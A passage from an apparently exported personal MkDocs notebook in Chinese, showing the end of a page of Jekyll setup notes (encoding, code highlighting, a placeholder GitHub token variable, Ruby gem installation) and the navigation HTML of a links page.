tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    碰到过的坑\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    配置代码高亮并显示行号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#github-metadata-warning\" class=\"md-nav__link\">\n    解决Github Metadata Warning\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#markdown\" class=\"md-nav__link\">\n    解决Markdown有序列表被文字间隔的问题\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"jekyll\">Jekyll<a class=\"headerlink\" href=\"#jekyll\" title=\"Permanent link\">&para;</a></h1>\n<p>目前本站使用 <code>Github Pages</code>，~~采用<code>Jekyll</code>转换md为html~~，所以有必要记录一下折腾Jekyll的过程咯</p>\n<p>更新：目前已经不再使用Jekyll，改用mkdocs</p>\n<h2 id=\"_1\">碰到过的坑<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<ol>\n<li>\n<p>jekyll 不认 gbk 编码，在转换前需要先将 md 文件编码改为UTF-8</p>\n</li>\n<li>\n<p>本地编译通过了，但Github就是不认，于是干脆把编译好的html作为Github Pages</p>\n</li>\n<li>\n<p>转换的时候遇到两个大括号之间的东西会自动用Liquid渲染，导致有一条Docker的笔记就丢了东西并抛出了Warning，之前本着不折腾的原则(就是懒)，直接写了个compile.sh在jekyll编译过后用py替换了一下(真不优雅23333)；现在发现了解决方案，参见<a href=\"./\">本页md文件</a></p>\n</li>\n</ol>\n<h2 id=\"_2\">配置代码高亮并显示行号<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>代码：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"p\">{%</span><span class=\"w\"> </span><span class=\"nt\">highlight</span><span class=\"w\"> </span>java<span class=\"w\"> </span>linenos<span class=\"w\"> </span><span class=\"p\">%}</span>\npublic class HelloWorld {\n    public static void main(String args[]) {\n      System.out.println(&quot;Hello World!&quot;);\n    }\n}\n<span class=\"p\">{%</span><span class=\"w\"> </span><span class=\"nt\">endhighlight</span><span class=\"w\"> </span><span class=\"p\">%}</span>\n</code></pre></div>\n\n<p>效果如下：(由于现在已经不再使用Jekyll，所以看不出了23333）</p>\n<p>{% highlight java linenos %}\npublic class HelloWorld {\n    public static void main(String args[]) {\n      System.out.println(&ldquo;Hello World!&rdquo;);\n    }\n}\n{% endhighlight %}</p>\n<h2 id=\"github-metadata-warning\">解决Github Metadata Warning<a class=\"headerlink\" href=\"#github-metadata-warning\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>参见http://mycyberuniverse.com/web/fixing-jekyll-github-metadata-warning.html</li>\n</ul>\n</blockquote>\n<p>在执行build或serve时，会给出这样的Warning:</p>\n<div class=\"codehilite\"><pre><span></span><code>GitHub Metadata: No GitHub API authentication could be found. Some fields may be missing or have incorrect data.\n</code></pre></div>\n\n<p>解决方法详细版请见上述链接，简要版：在Github的设置中得到一个能访问公开repo的token，用以下命令配置环境变量，其中abc123改为自己的token</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nb\">export</span><span class=\"w\"> </span><span class=\"nv\">JEKYLL_GITHUB_TOKEN</span><span class=\"o\">=</span><span class=\"s1\">&#39;abc123&#39;</span>\n</code></pre></div>\n\n<h2 id=\"markdown\">解决Markdown有序列表被文字间隔的问题<a class=\"headerlink\" href=\"#markdown\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： http://stackoverflow.com/questions/18088955/markdown-continue-numbered-list</p>\n<p>在写3. 之前加入相应的编号控制：</p>\n<div class=\"codehilite\"><pre><span></span><code>{:start=&quot;3&quot;}\n</code></pre></div>\n\n<hr />\n<h1 id=\"jekyll_1\">安装Jekyll<a class=\"headerlink\" href=\"#jekyll_1\" title=\"Permanent link\">&para;</a></h1>\n<p>搜索jekyll发现官网<a href=\"https://jekyllrb.com/\">https://jekyllrb.com/</a></p>\n<p>安装过程一点都不简单， 我的系统环境：ubuntu16.04 on win10</p>\n<p>安装命令参考官网及<a href=\"https://gems.ruby-china.org/\">国内镜像 Ruby China</a>，还踩了<a href=\"https://stackoverflow.com/questions/4304438/gem-install-failed-to-build-gem-native-extension-cant-find-header-files\">坑1</a>, <a href=\"https://github.com/flapjack/omnibus-flapjack/issues/72\">坑2</a></p>\n<div class=\"codehilite\"><pre><span></span><code>apt install -y ruby ruby-dev zlib1g-dev nodejs # 其中zlib是安装依赖nokogiri（这个依赖编译特别慢）所必须的，其中nodejs是需要的javascript运行环境\ngem update --system # 这里请翻墙一下\ngem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/\ngem install jekyll bundler\n\n# 配置github-pages所需的Gemfile，也使用国内镜像源\necho &quot;&quot;&quot;source &#39;https://gems.ruby-china.org&#39;\ngem &#39;github-pages&#39;, group: :jekyll_plugins&quot;&quot;&quot;&gt;Gemfile\nbundle install # 耐心等待编译\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Links/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../GithubProjectRecommendation/\">\n      \n      \n        <link rel=\"next\" href=\"../Flask/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>更多链接 - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#links-share\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              更多链接\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          更多链接\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        更多链接\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    开发类\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    安全技能\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    安全资讯\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    个人博客\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zju\" class=\"md-nav__link\">\n    ZJU\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    服务提供商\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    非技术文章\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    结语\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    